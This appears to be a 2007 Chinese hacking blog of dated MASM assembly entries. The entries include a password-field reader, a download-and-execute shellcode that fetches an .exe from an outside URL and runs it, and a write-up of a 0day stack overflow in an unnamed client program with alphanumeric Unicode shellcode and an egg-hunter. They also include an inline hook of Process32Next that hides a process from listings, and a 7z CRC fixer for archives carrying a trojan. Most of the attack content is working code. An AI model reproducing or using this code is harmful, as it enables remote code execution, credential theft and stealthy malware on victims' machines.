GetUnknowVarOffset endp
%
GetUnknowVarOffset proc uses esi edi ebx
LOCAL user32base:dword
LOCAL varaddr:dword
LOCAL optable[2048]:byte
LOCAL oplen[256]:byte ;记录每个指令的长度,最多512个
invoke LoadLibrary,offset user32dll
mov user32base,eax
invoke _ProcessPeFile,user32base ;返回user32.dll的.data段的虚拟偏移
invoke GetProcAddress,user32base,offset _UserRegisterWowHandlers
.if eax!=NULL
invoke RtlMoveMemory,offset buffercode,eax,1000
mov esi,offset buffercode
;------------------------ 利用LDE32库函数得到该函数中每个指令的长度:)
lea eax,optable
push eax
call disasm_init ;解压缩'指令长度表'
xor ebx,ebx
lea edi,oplen
@@nextcode:
push esi
lea eax,optable
push eax
call disasm_main
.if eax!=-1 && ebx<256
mov cx,word ptr [esi]
mov dl,byte ptr [esi+2]
.if eax == 3 && cx == 08C2h && dl == 00 ;找到ret 08=C20800
;-------------------然后反过去找MOV EAX,XXXXXXXX =B8 XXXXXXXX
dec ebx
@@nextcode2:
mov AL,byte ptr [edi+ebx]
movzx eax,al
sub esi,eax
mov cl,byte ptr [esi]
.if al == 5 && cl == 0B8H
inc esi
mov eax,dword ptr [esi]
mov varaddr,eax
dec esi
.else
@@nextb8:
dec ebx
.if ebx >1
jmp @@nextcode2
.else
jmp @@errcode
.endif
.endif
.else
mov byte ptr [edi+ebx],al
inc ebx
add esi,eax
jmp @@nextcode
.endif
.else ;找不到RET 08指令
@@errcode:
invoke MessageBox,0,offset errnocode,offset vp,1
xor eax,eax
ret
.endif
;------------------------
.else ;找不到函数
invoke MessageBox,0,offset errnowow,offset vp,1
xor eax,eax
ret
.endif
;正常情况varaddr为USER32.DLL全局变量中记录当前线程GUI TABLE R3层地址的变量的地址
mov ecx,user32base
add ecx,VirtualAddress ;得到内存中user32.dll的全局变量的起始地址
mov eax,varaddr
sub eax,ecx ;变量的地址减全局变量起始地址
.if eax>0 && eax<VirtualSize ;变量的偏移大于0,小于全局变量总大小
add eax,4
mov VarOffset,eax
.else
jmp @@nextb8
.endif
ret
GetUnknowVarOffset endp
GetUser32Base proc uses ebx esi edi remoteproid
LOCAL hSnapshot:dword
LOCAL modinfo:MODULEENTRY32
LOCAL modname[256]:byte
mov modinfo.dwSize,sizeof MODULEENTRY32
invoke CreateToolhelp32Snapshot,TH32CS_SNAPMODULE,remoteproid
mov hSnapshot,eax
invoke Module32First,hSnapshot,addr modinfo
.while eax
lea ecx,modinfo.szModule
invoke lstrcmpi,offset user32dll,ecx
.if eax == 0
mov eax,modinfo.modBaseAddr
ret
.endif
invoke Module32Next,hSnapshot,addr modinfo
.endw
invoke CloseHandle,hSnapshot
ret
GetUser32Base endp
_ProcessPeFile proc _lpPeHead
local @szBuffer[1024]:byte,@szSectionName[16]:byte
mov esi,_lpPeHead
assume esi:ptr IMAGE_DOS_HEADER
add esi,[esi].e_lfanew
mov edi,esi
assume edi:ptr IMAGE_NT_HEADERS
;movzx ecx,[edi].FileHeader.Machine
;movzx edx,[edi].FileHeader.NumberOfSections
;movzx ebx,[edi].FileHeader.Characteristics
;********************************************************************
; 循环显示每个节区的信息
;********************************************************************
movzx ecx,[edi].FileHeader.NumberOfSections
add edi,sizeof IMAGE_NT_HEADERS
assume edi:ptr IMAGE_SECTION_HEADER
.repeat
push ecx
;********************************************************************
; 节区名称
;********************************************************************
invoke RtlZeroMemory,addr @szSectionName,sizeof @szSectionName
push esi
push edi
mov ecx,8
mov esi,edi
lea edi,@szSectionName
cld
@@:
lodsb
.if ! al
mov al,' '
.endif
stosb
loop @B
pop edi
pop esi
;********************************************************************
invoke lstrcmpi,offset dataname,addr @szSectionName
.if eax == 0
push [edi].VirtualAddress
pop VirtualAddress
push dword ptr [edi+8]
pop VirtualSize
ret
.else
add edi,sizeof IMAGE_SECTION_HEADER
.endif
;********************************************************************
pop ecx
.untilcxz
assume edi:nothing
ret
_ProcessPeFile endp
CheckOS proc
LOCAL verinfo:OSVERSIONINFO
mov verinfo.dwOSVersionInfoSize,sizeof OSVERSIONINFO
invoke GetVersionEx,addr verinfo
.if (verinfo.dwPlatformId == VER_PLATFORM_WIN32_NT && verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 1)
mov eax,1 ;xp
mov passoffset,0A4H
mov lenoffset ,14H
.elseif (verinfo.dwPlatformId == VER_PLATFORM_WIN32_NT && verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 2)
mov eax,1 ;2003
mov passoffset,0A0H
mov lenoffset ,0CH
.elseif (verinfo.dwPlatformId == VER_PLATFORM_WIN32_NT && verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 0)
mov eax,1 ;2000
mov passoffset,98H
mov lenoffset ,0cH
.else
invoke MessageBox,0,offset erros,offset vp,1
xor eax,eax ;9x,nt4
.endif
ret
CheckOS endp
_ProcDlgMain proc uses ebx edi esi, \
hWnd:DWORD,wMsg:DWORD,wParam:DWORD,lParam:DWORD
local @stPoint:POINT
local @hWindow
local hBrush :dword
local rect:RECT
local LogBrush:LOGBRUSH
mov eax,wMsg
.if eax == WM_CLOSE
invoke EndDialog,hWnd,NULL
invoke KillTimer,hWnd,1
.elseif eax == WM_INITDIALOG
push hWnd
pop hWinMain
invoke LoadIcon, hInstance, 1
invoke SendMessage, hWnd, WM_SETICON, ICON_SMALL, eax
invoke SendDlgItemMessage,hWnd,ID_PWD,EM_SETREADONLY,TRUE,NULL
invoke SetWindowPos,hWnd,HWND_TOPMOST,0,0,0,0,\
SWP_NOMOVE or SWP_NOSIZE
invoke SetTimer,hWnd,1,2000,NULL
invoke LoadBitmap,hInstance,IDB_1
invoke SendDlgItemMessage,hWnd,IDC_BMP,STM_SETIMAGE,IMAGE_BITMAP,eax
invoke GetWindowLong,hWnd, GWL_EXSTYLE
or eax,80000h
invoke SetWindowLong,hWnd, GWL_EXSTYLE, eax
invoke SetLayeredWindowAttributes,hWnd, 0, 220, 02h;LWA_ALPHA
.elseif eax == WM_CTLCOLORSTATIC
RGB 0,0,0
invoke SetBkColor,wParam,eax
invoke SetTextColor,wParam,00aeaeaeh
invoke GetStockObject,HOLLOW_BRUSH
ret
.elseif eax == WM_ERASEBKGND
mov LogBrush.lbStyle,BS_SOLID
RGB 0,0,0
mov LogBrush.lbColor,eax
invoke CreateBrushIndirect,addr LogBrush
mov hBrush,eax
invoke GetClientRect,hWnd,addr rect
invoke FillRect,wParam,addr rect,hBrush
mov eax,TRUE
ret
.elseif eax == WM_TIMER
invoke GetCursorPos,addr @stPoint
invoke WindowFromPoint,@stPoint.x,@stPoint.y
mov @hWindow,eax
.if eax != NULL
invoke GetWindowLong,@hWindow,GWL_STYLE
.if (eax & ES_PASSWORD)
invoke GetClassName,@hWindow,offset classname,64
invoke lstrcmpi,offset classname,offset editname
.if eax == 0
mov eax,@hWindow
mov WINHAND,eax
invoke ViewPass
.endif
.endif
.endif
.else
;********************************************************************
; 注意:对话框的消息处理后,要返回 TRUE,对没有处理的消息
; 要返回 FALSE
;********************************************************************
mov eax,FALSE
ret
.endif
mov eax,TRUE
ret
_ProcDlgMain endp
include \masm32\include\lde32bin.inc
;********************************************************************
start:
invoke GetModuleHandle,NULL
mov hInstance,eax
invoke DialogBoxParam,hInstance,DLG_MAIN,NULL,offset _ProcDlgMain,0
invoke ExitProcess,NULL
end start
2007年6月22日
;Tiny Download&&Exec ShellCode codz czy 2007.6.1
;header 163=61(16+8+9+(28))+95(68+27)+17
;163+19=192
comment %
#--------------------------------------# #
# Tiny Download&&Exec ShellCode--> # #
# -->size 192 # #
# 2007.06.01 #
# codz: czy # #
#------------------------------------------# #
system :test on ie6+XPSP2/2003SP2/2kSP4
%
.586
.model flat,stdcall
option casemap:none
include c:\masm32\include\windows.inc
include c:\masm32\include\kernel32.inc
includelib c:\masm32\lib\kernel32.lib
include c:\masm32\include\user32.inc
includelib c:\masm32\lib\user32.lib
.data
shelldatabuffer db 1024 dup(0)
shellcodebuffer db 2046 dup(0)
downshell db 'down exploit',0
txtname db 'c:\office\unicode.doc',0
.code
start:
invoke MessageBoxA,0,offset downshell,offset downshell,1
invoke RtlMoveMemory,offset shellcodebuffer,00401040H,256
mov eax,offset shellcodebuffer
jmp eax
somenops db 90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h
;上面的代码是把在代码段中的shellcode移动数据段中执行,模拟真实的shellcode执行环境
@@shellcodebegin:
call @@beginaddr
@@beginaddr:
PUSH 03H ;要调用的API函数个数
jmp @@realshellcode
myExitProcess dd 073e2d87eh
myWinExec dd 00e8afe98h
myLoadLibraryA dd 0ec0e4e8eh
dll db 'URLMON',0,0
myUrlDownFile dd 0702f1a36h
path db 'c:\a.exe',0
url db 'http://www.masm32.net/a.exe',0
@@realshellcode:
POP ECX
POP EDI
SCASD ;edi+4
;得到kernel32.dll基地址
db 67h,64h,0A1h,30h,00h
mov eax, [eax+0cH]
mov esi, [eax+1cH]
lodsd
mov ebp, [eax+08H] ;EBP中存放kernel32.dll的基地址
;处理导出表
@@next2:
PUSH ECX
@@next3:
MOV ESI,[EBP+3Ch]
MOV ESI,[EBP+ESI+78h]
ADD ESI,EBP
PUSH ESI
MOV ESI,[ESI+20h]
ADD ESI,EBP
XOR ECX,ECX
DEC ECX
@@next:
INC ECX
LODSD
ADD EAX,EBP
XOR EBX,EBX
@@again:
MOVSX EDX,BYTE PTR [EAX]
CMP DL,DH
JZ @@end
ROR EBX,0Dh
ADD EBX,EDX
INC EAX
JMP @@again
@@end:
CMP EBX,[EDI]
JNZ @@next
POP ESI
MOV EBX,[ESI+24h]
ADD EBX,EBP
MOV CX,WORD PTR [ECX*2+EBX]
MOV EBX,[ESI+1Ch]
ADD EBX,EBP
MOV EAX,[ECX*4+EBX]
ADD EAX,EBP
STOSD
POP ECX
loop @@next2
mov ecx,[edi] ;2
cmp cl,'c' ;3
jz @@downfile ;2
PUSH EDI
CALL EAX ;2
xchg eax,ebp
scasd
scasd
push 01 ;2第二个DLL的函数个数
jmp @@next3 ;2
;总计17
@@downfile:
push edx ;0
push edx ;0
push edi ;file=c:\a.exe
lea ecx, dword ptr [edi+9h]
push ecx ;url
push edx ;0
call eax ;URLDownloadToFileA,0,url,file=c:\a.exe,0,0
push 1 ;FOR TEST
push edi
call dword ptr [edi-14H] ;winexec,'c:\xxx.exe',1
call dword ptr [edi-18H] ;Exitprocess
somenops2 db 90h,90h,90h,90h,90h,90h,90h,90h,90h
invoke ExitProcess,0
end start
2007年5月14日
这个SheUcode比较有意思
某客户端程序0day,溢出发生时
EAX=00000000 EBX=00000000 ECX=00000006 EDX=7C92EB94 ESI=00000001
EDI=001362B0 ESP=001E0061 ESP=00136110 EIP=7FFA5564 o d I s Z a P c
CS=001B DS=0023 SS=0023 ES=0023 FS=003B GS=0000
看似比较简单的栈溢出,程序也没有/GS,但是字符串长度限制为100个字节(不能覆盖SEH),而且
字符串会部分转化为UniCode格式,通过分析溢出发生时可以用转化后的字符串覆盖函数返回地
址,同时EDI刚好指向转化后的字符串开头.在简中系统下代码页刚好有个JMP EDI(6455FA7F)
而6455FA7F的ANSI编码为C6A1C24F.OK跳转地址搞定,来看看SHELLCODE怎么写了,由于这个漏洞
非常特殊,字符串是部分转化,而且长度只有100个字节,所以只能想办法在这100个字节中用小SHELLCODE
找大SHELLCODE了.经过测试发现XP SP2下,SEHLLCODE中的异常处理代码不能在栈中,所以还得想
法把代码移到堆中.下面是我的办法:先看第四部分.
第一部分:
:00136193 5E pop esi ;因为是CALL跳过来的,POP后ESI变为001361BC,esp+4=0013610C
:00136194 5E pop esi ;esi变为001361D5也就是异常处理指令的地址
:00136195 55 push ebp ;通过分析漏洞,溢出发生时EBP的值为是跳转地址前面的四字节(UNICODE格式)
:00136196 5F pop edi ;EDI变为001E0061
:00136197 A5 movsd
:00136198 A5 movsd
:00136199 A5 movsd
:0013619A A5 movsd ;把ESI(001361D5)中的代码移到(edi)001e0061中
:0013619B 55 push ebp ;设置新的异常处理函数地址
:0013619C EB1E jmp ↓001361BC ;回到第二部分
:0013619E 61 popad
:0013619F 61 popad
:001361A0 61 popad
:001361A1 61 popad
:001361A2 61 popad
:001361A3 61 popad
:001361A4 61 popad
:001361A5 61 popad
:001361A6 61 popad
:001361A7 61 popad
:001361A8 61 popad
:001361A9 61 popad
:001361AA 1E push ds
:001361AB C6A1C24F 转化前的跳转地址(7FFA5564 JMP EDI)
第二部分:
:001361B0 6481EFDB000000 sub edi,000000DB ;edi为001362B0-db=001361d5,得到第三部分指令的地址
:001361B6 57 push edi ;esp-4=0013610C,edi=001361d5
:001361B7 E8D7FFFFFF call ↑00136193 ;esp-4=00136108,函数功能:把异常处理指令移到堆中
:001361BC 64FF30 push dword ptr fs:[eax] ;在跳过来之前新的异常处理地址已经压栈,现保存原来的
:001361BF 648920 mov dword ptr fs:[eax], esp ;esp也就是异常处理结构的地址比较巧妙
:001361C2 BA41424142 mov edx, 42414241 ;搜索ABAB
:001361C7 BF00001400 mov edi, 00140000 ;起始地址00140000
:001361CC 3B17 cmp edx, dword ptr [edi]
:001361CE 7403 je ↓001361D3
:001361D0 47 inc edi
:001361D1 EBF9 jmp ↑001361CC
:001361D3 57 push edi
:001361D4 C3 ret
第三部分:处理搜索内存异常的代码
:001361D5 8B54240C mov edx, dword ptr [esp+0C]
:001361D9 80C29C add dl, 9C
:001361DC 33C0 xor eax, eax
:001361DE B440 mov ah, 40
:001361E0 0102 add dword ptr [edx], eax
:001361E2 33C0 xor eax, eax
:001361E4 C3 ret
第四部分:程序首先从代码页中的JMP EDI跳到这儿.
:001362B0 57 push edi ;edi为001362B0,push以后ESP变为0013610C
:001362B1 004700 add [edi+00],al ;nop
:001362B4 44 inc esp ;esp变为0013610D
:001362B5 004700 add [edi+00],al ;nop
:001362B8 59 pop ecx ;ecx的值为XX001362,ESP变为00136111
:001362B9 004700 add [edi+00],al ;nop
:001362BC 49 dec ecx ;ecx变为XX001361
:001362BD 004700 add [edi+00],al ;nop
:001362C0 51 push ecx ;ESP变为0013610D
:001362C1 004700 add [edi+00],al ;nop
:001362C4 4C dec esp ;ESP变为0013610C
:001362C5 004700 add [edi+00],al ;nop
:001362C8 C3 ret ;ESP变为溢出发生时的00136110,程序跳到001361B0
还没晕吧?纯粹指令技巧,主要是为了让代码是全字母且是UNICODE格式.
其实这部分代码等于执行
sub edi,100h
jmp edi
这个漏洞非常奇怪,字符是部分转化,且EDI-100H处是没转化的字符,所以先用上面的这个办法跳到
没转化的指令去执行.当然由于字符串长度的限制也没法直接写UNICODE编码的SHELLCODE.
下面请看第二部分的代码.
2007年3月18日
我的思路:
1.得到本进程中包含被挂接API的DLL的基地址,该DLL代码节的虚拟偏移以及该API的入口地址.API入口地址-(代码节虚拟偏移+DLL基地址)=函数入口相对于代码节的偏移
2.得到目标进程的PID,以及目标进程包含被挂接API的DLL的基地址(注意一般来说和前面自身进程的值相同)前面得到的函数入口偏移+DLL基地址+代码节虚拟偏移=目标进程API函数入口地址
3.打开目标进程读目标进程API函数入口处128字节代码到自身进程的变量中.然后调用z0mbie写的LDE32库取该API函数入口处几个指令的长度当长度>=5时保存该长度(这样防止后面取指令没有对齐)
4.为我们的假函数在目标进程加载的DLL中分配空间(我是把代码写在PE头的后面)这儿要改该内存的属性为读写执行(PAGE_EXECUTE_READWRITE).为了方便编译我们的假函数是写在代码段中的,在运行时要把这些代码移到数据段,然后把第3步取出的指令放在数据段中相应的偏移处.同时还要再数据段中设置跳回直实函数的JMP指令.
5.把真正的API开头的指令为JMP到我们的假函数中.
;目前遇到的问题:
1.在假函数中如何调用其它的API函数,以及如何方便的引用全局,局部变量
2.如何防止重复HOOK.
3.假函数写在目标DLL的哪儿比较适合.
看了网上不少公开的文章写了这些代码,个人感觉应用层INLINE HOOK对于木马隐藏来说不是很有必要.因为WIN 2K及以后系统的COPY ON WRITE机制,导制象我这样的代码HOOK并不是全局的,要实现全局的要不是要举例进程每个进程都这样处理一次,要不就是要安装全局钩子但一般这个操作都要引起杀毒软件的报警.另外如果上第一种办法对于新启动的进程你还得不停的举例以便于找出新启动的进程哩.有些人说在驱动下可以有一个通知API,但这样的话还不如直接在驱动下HOOK SSDT或是驱动的INLINE HOOK了.
;2007.03
.586
.model flat,stdcall
option casemap:none
include ../include/windows.inc
include ../include/user32.inc
includelib ../lib/user32.lib
include ../include/kernel32.inc
includelib ../lib/kernel32.lib
include ../include/shell32.inc
includelib ../lib/shell32.lib
.data
kernel32 db 'kernel32.dll',0
P32First db 'Process32Next',0
inline db 'Hook Process32Next Hide Process:)',0
sztext db '.text ',0
VirtualAddress dd 0
JMPCODE db 0E9h,010h,10H,10H,10H,0
JMPCODE2 db 0E9h,010h,10H,10H,10H,0
HookFunBuf db 256 dup (?)
.code
_ProcessPeFile proc _lpPeHead
local @szBuffer[1024]:byte,@szSectionName[16]:byte
mov esi,_lpPeHead
assume esi:ptr IMAGE_DOS_HEADER
add esi,[esi].e_lfanew
mov edi,esi
assume edi:ptr IMAGE_NT_HEADERS
;********************************************************************
; 循环显示每个节区的信息
;********************************************************************
movzx ecx,[edi].FileHeader.NumberOfSections
add edi,sizeof IMAGE_NT_HEADERS
assume edi:ptr IMAGE_SECTION_HEADER
.repeat
push ecx
;********************************************************************
; 节区名称
;********************************************************************
invoke RtlZeroMemory,addr @szSectionName,sizeof @szSectionName
push esi
push edi
mov ecx,8
mov esi,edi
lea edi,@szSectionName
cld
@@:
lodsb
.if ! al
mov al,' '
.endif
stosb
loop @B
pop edi
pop esi
;********************************************************************
invoke lstrcmpi,offset sztext,addr @szSectionName
.if eax == 0
push [edi].VirtualAddress
pop eax
ret
.else
add edi,sizeof IMAGE_SECTION_HEADER
.endif
;********************************************************************
pop ecx
.untilcxz
assume edi:nothing
ret
_ProcessPeFile endp
;得到相应进程的模块加载的起始地址
GetShell32Base proc uses ebx esi edi remoteproid
LOCAL hSnapshot:dword
LOCAL modinfo:MODULEENTRY32
LOCAL modname[256]:byte
mov modinfo.dwSize,sizeof MODULEENTRY32
invoke CreateToolhelp32Snapshot,TH32CS_SNAPMODULE,remoteproid
mov hSnapshot,eax
invoke Module32First,hSnapshot,addr modinfo
.while eax
lea ecx,modinfo.szModule
invoke lstrcmpi,offset kernel32,ecx
.if eax == 0
mov eax,modinfo.modBaseAddr
ret
.endif
invoke Module32Next,hSnapshot,addr modinfo
.endw
invoke CloseHandle,hSnapshot
ret
GetShell32Base endp
InlineHook proc
LOCAL hProcess:dword
LOCAL hKernel32:dword
LOCAL hAPI:dword
LOCAL PID:dword
LOCAL ModBase:dword
LOCAL OLDpro:dword
LOCAL CodeBuf[128]:byte
LOCAL optable[2048]:byte
LOCAL codelen:dword
LOCAL APIoffset:dword
LOCAL hAPI2:dword
LOCAL pHookFun:dword
LOCAL hooklen1:dword
LOCAL hookfunlen:dword
lea eax,optable
push eax
call disasm_init ;解压缩'指令长度表'
invoke LoadLibrary,offset kernel32 ;得到自身进程DLL的基地址
mov hKernel32,eax
invoke _ProcessPeFile,hKernel32 ;通过分析PE文件得到相应的.text节的虚拟偏移
mov VirtualAddress,eax ;一般为1000h
invoke GetProcAddress,hKernel32,offset P32First ;得到API的入口地址
mov hAPI,eax
mov eax,hKernel32
add eax,VirtualAddress ;得到代码节起始地址
mov ecx,hAPI
sub ecx,eax ;函数入口相对于代码节的偏移
mov APIoffset,ecx
invoke GetCurrentProcessId
mov PID,eax
mov eax,9504
mov PID,eax
invoke GetShell32Base,eax
mov ModBase,eax ;得到目标进程DLL的基地址
add eax,VirtualAddress ;得到目标进程DLL的代码节基地址
add eax,APIoffset ;得到目标进程被HOOK的函数的入口地址
mov hAPI2,eax
invoke OpenProcess,PROCESS_ALL_ACCESS,FALSE,PID
mov hProcess,eax
invoke ReadProcessMemory,hProcess,hAPI2,addr CodeBuf,128,0
lea esi,CodeBuf
xor edi,edi
@@nextcode:
push esi
lea eax,optable
push eax
call disasm_main
.if eax !=-1
add edi,eax
.if edi>=5
mov codelen,edi ;codelne记录应该COPY的代码字节数
jmp @@findok
.else
add esi,eax
jmp @@nextcode
.endif
.else
xor eax,eax
ret
.endif
@@findok:
;写HOOK函数到目标进程DLL的空闲空间中
mov eax,ModBase
add eax,VirtualAddress
sub eax,512
mov pHookFun,eax
invoke VirtualProtectEx,hProcess,pHookFun,512,PAGE_EXECUTE_READWRITE,addr OLDpro
;计算偏移
mov ecx,@@hookbeg
mov eax,@@fakeret
sub eax,ecx
mov hooklen1,eax
;计算HOOK函数的全部代码长度
mov ecx,@@hookbeg
mov eax,@@hookfunend
sub eax,ecx
mov hookfunlen,eax
;把HOOK函数从代码段移到变量中
mov eax,@@hookbeg
invoke RtlMoveMemory,offset HookFunBuf,eax,hookfunlen
;把HOOK函数从变量中移到目标进程的内存中,这儿只移开头的一部分
invoke WriteProcessMemory,hProcess,pHookFun,offset HookFunBuf,hooklen1,0
;移动被覆盖的原函数代码到目标内存中
mov ecx,pHookFun
add ecx,hooklen1
sub ecx,21
invoke WriteProcessMemory,hProcess,ecx,addr CodeBuf,codelen,0
;跳回原函数
mov ecx,pHookFun
add ecx,hooklen1
mov edx,ecx
sub ecx,5 ;JMP指令的起始地址
mov eax,hAPI2
sub eax,edx
add eax,codelen
mov edx,offset JMPCODE2
inc edx
mov [edx],eax
invoke WriteProcessMemory,hProcess,ecx,offset JMPCODE2,5,0
;移动真正的HOOK功能代码到目标内存中
mov ecx,pHookFun
add ecx,hooklen1
mov eax,offset HookFunBuf
add eax,hooklen1
mov edx,hookfunlen
sub edx,hooklen1
invoke WriteProcessMemory,hProcess,ecx,eax,edx,0
;设置跳转指令
mov eax,pHookFun
sub eax,hAPI2
sub eax,5
mov ecx,offset JMPCODE
inc ecx
mov [ecx],eax
invoke VirtualProtectEx,hProcess,hAPI2,codelen,PAGE_READWRITE,addr OLDpro
invoke WriteProcessMemory,hProcess,hAPI2,offset JMPCODE,5,0
invoke VirtualProtectEx,hProcess,hAPI2,codelen,OLDpro,addr OLDpro
invoke CloseHandle,hProcess
invoke MessageBox,0,offset inline,offset inline,1
ret
InlineHook endp
@@hookbeg:
push [esp+8] ;ARG2 有几个参数就ESP加几
push [esp+8] ;ARG1
jmp @@fakeret
@@setret:
somenop1 db 90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h ;这儿填被JMP覆盖的指令
somenop2 db 90h,90h,90h,90h,90h ;填跳回原函数的JMP指令
@@fakeret:
call @@setret
;检查原函数的参数,判断是否改变原函数的执行结果,这时EAX为函数返回值注意保存
sub esp,8
pushad
mov edx,[esp+4+32];原函数倒数第2个参数,进程信息结构的地址
.if eax != ERROR_NO_MORE_FILES
add edx,36
mov eax,[edx]
mov ecx,[edx+4]
.if (eax == 'pxei')&&( ecx == 'erol') ;把iexplorer换为svchost.exe
mov eax,'hcvs'
mov [edx],eax
mov eax,'.tso'
mov [edx+4],eax
mov eax,' exe'
mov [edx+8],eax
.endif
.endif
popad
add esp,8
;跳回正常的返回地址
ret 8 ;参数个数*4
@@hookfunend:
start:
invoke MessageBoxA,0,offset inline,offset inline,1
invoke InlineHook
invoke ExitProcess,0
include \masm32\include\lde32bin.inc
end start
2007年1月23日
;哈哈看看会显示什么?我机器上显示的是Gennet,情报网?
.586
.model flat, stdcall
option casemap:none
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
.code
start:
CPUID
push ax
inc esp
push cx
inc esp
push bx
inc esp
push dx
inc esp
push dx
inc esp
push bx
push esp
pop ecx
dec esp
invoke MessageBox,50h,ecx,ecx,50h
add esp,8
ret
end start
上面的代码反汇编出来看看,呵呵差点全字母:)
0fh,a2h,fPDfQDfSDfRDfRDfSTYLjPQQjP,e8h,05h,00h,00h,00h,83h,c4h,08h,c3h
2007年1月10日
;--------------根据窗口所在的线程得到该线程的TEB地址
invoke OpenThread,THREAD_QUERY_INFORMATION,FALSE,WINTHREADID
.if eax != NULL
mov THREADHAND,EAX
invoke LoadLibrary,offset Ntdll
invoke GetProcAddress,eax,offset _ZwQueryInformationThread
mov apiquerthread,eax
push 0
push sizeof THREAD_BASIC_INFORMATION
lea ecx,threadinfo
push ecx
push ThreadBasicInformation
push THREADHAND
call apiquerthread
.IF EAX == STATUS_SUCCESS
lea ecx,threadinfo
mov esi,[ecx+4] ;得到TEB了
.ELSE
invoke MessageBox,0,offset errgetteb,offset vp,1
ret
.ENDIF
.else
invoke MessageBox,0,offset erropenthread,offset vp,1
ret
.endif
comment %
;以前的办法目标进程线程太多就不行了.
;fs:18的值是TEB的基址,FS:24线程ID,根据这两个来判断
mov esi,07ffd0000h
@@nextteb:
invoke Toolhelp32ReadProcessMemory,parid,esi,offset buffer1,4,NULL
.if eax == TRUE
mov ecx,esi
add ecx,18h
invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,4,NULL
.if eax == TRUE
mov eax,offset buffer1
mov eax,[eax]
.if eax == esi
mov ecx,esi
add ecx,24h
invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,4,NULL
.if eax == TRUE
mov eax,offset buffer1
mov eax,[eax]
.if eax == WINTHREADID
jmp @@getteb
.else
jmp @@next
.endif
.else
jmp @@next
.endif
.else
jmp @@next
.endif
.else
jmp @@next
.endif
.elseif esi>07ffdf000h
ret
.else
@@next:
add esi,1000h
jmp @@nextteb
.endif
@@getteb:
%
invoke wsprintf,offset bufferteb,offset tebformat,esi
invoke MessageBox,0,offset bufferteb,offset vp,1
2007年1月6日
;***********************************************************************************************
;MAKE 7ZIP CRC32
;***********************************************************************************************
.386
.model flat, stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
WndProc proto :DWORD, :DWORD, :DWORD, :DWORD
init_crc32table proto
arraycrc32 proto
.const
IDC_BUTTON_OPEN equ 3000
IDC_EDIT_INPUT equ 3001
.data
szDlgName db "7zCRC32_dialog", 0
szTitle db "7zCRC32", 0
szTemplate db "字符串 ""%s"" 的 CRC32 值是:%X", 0
crc32tbl dd 256 dup(0) ;CRC-32 table
szBuffer2 db 'C:\b.rar',0
pochand dd 0
readsize dd 0
crc1size dd 0
.data?
szText db 300 dup(?)
szBuffer db 32768 dup(?)
.code
main:
invoke GetModuleHandle, NULL
invoke DialogBoxParam, eax, offset szDlgName, 0, WndProc, 0
invoke ExitProcess, eax
WndProc proc uses ebx hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.if uMsg == WM_CLOSE
invoke EndDialog, hWnd, 0
.elseif uMsg == WM_COMMAND
mov eax,wParam
mov edx,eax
shr edx,16
movzx eax, ax
.if edx == BN_CLICKED
.IF eax == IDCANCEL
invoke EndDialog, hWnd, NULL
.ELSEIF eax == IDC_BUTTON_OPEN || eax == IDOK
;******************************************
;关键代码开始:(当当当当……)
;******************************************
;得到文件路径
;invoke GetDlgItemText, hWnd, IDC_EDIT_INPUT, addr szBuffer2, 255
;---打开文件读内容到szBuffer
invoke CreateFileA,offset szBuffer2,GENERIC_READ,FILE_SHARE_READ,\
NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL
mov pochand,eax
invoke GetFileSize,eax,NULL
sub eax,32d
mov crc1size,eax
;invoke SetFilePointer,pochand,12d,NULL,FILE_BEGIN ;木马开始
;invoke _lread,pochand,offset szBuffer,20d
invoke SetFilePointer,pochand,32d,NULL,FILE_BEGIN ;木马开始
invoke _lread,pochand,offset szBuffer,crc1size
invoke CloseHandle,pochand
comment %
看到了吧这个是7Z文件的头部有两个地方有CRC32效验.
第一个地方:整个文件的偏移12d开始,长度20d
第二个地方:整个文件的偏移32d开始,长度是NextHeaderSize
SignatureHeader
~~~~~~~~~~~~~~~
BYTE kSignature[6] = {'7', 'z', 0xBC, 0xAF, 0x27, 0x1C};
ArchiveVersion
{
BYTE Major; // now = 0
BYTE Minor; // now = 2
};
UINT32 StartHeaderCRC;
StartHeader
{
REAL_UINT64 NextHeaderOffset
REAL_UINT64 NextHeaderSize
UINT32 NextHeaderCRC
}
%
;---
;初始化crc32table:
invoke init_crc32table
;下面赋值给寄存器ebx,以便进行crc32转换:
;EBX是待转换的字符串的首地址:
lea ebx, szBuffer
mov ecx,crc1size ;20d ;长度!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!重要
;进行crc32转换:
invoke arraycrc32
mov ecx,offset szBuffer
mov [ecx],eax
;格式化输出:
;invoke wsprintf, addr szText, addr szTemplate, addr szBuffer2, eax
;好啦,让我们显示结果:
;invoke MessageBox, hWnd, addr szText, addr szTitle, MB_OK
;----------写第二个CRC
invoke CreateFileA,offset szBuffer2,GENERIC_WRITE,FILE_SHARE_WRITE,\
NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL
mov pochand,eax
invoke SetFilePointer,pochand,28d,NULL,FILE_BEGIN ;木马开始
invoke _lwrite,pochand,offset szBuffer,4
invoke CloseHandle,pochand
;---------
;下面开始写第一个CRC
invoke CreateFileA,offset szBuffer2,GENERIC_READ,FILE_SHARE_READ,\
NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL
mov pochand,eax
invoke SetFilePointer,pochand,12d,NULL,FILE_BEGIN ;木马开始
invoke _lread,pochand,offset szBuffer,20d
invoke CloseHandle,pochand
;初始化crc32table:
invoke init_crc32table
;下面赋值给寄存器ebx,以便进行crc32转换:
;EBX是待转换的字符串的首地址:
lea ebx, szBuffer
mov ecx,20d ;20d ;长度!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!重要
;进行crc32转换:
invoke arraycrc32
mov ecx,offset szBuffer
mov [ecx],eax
;格式化输出:
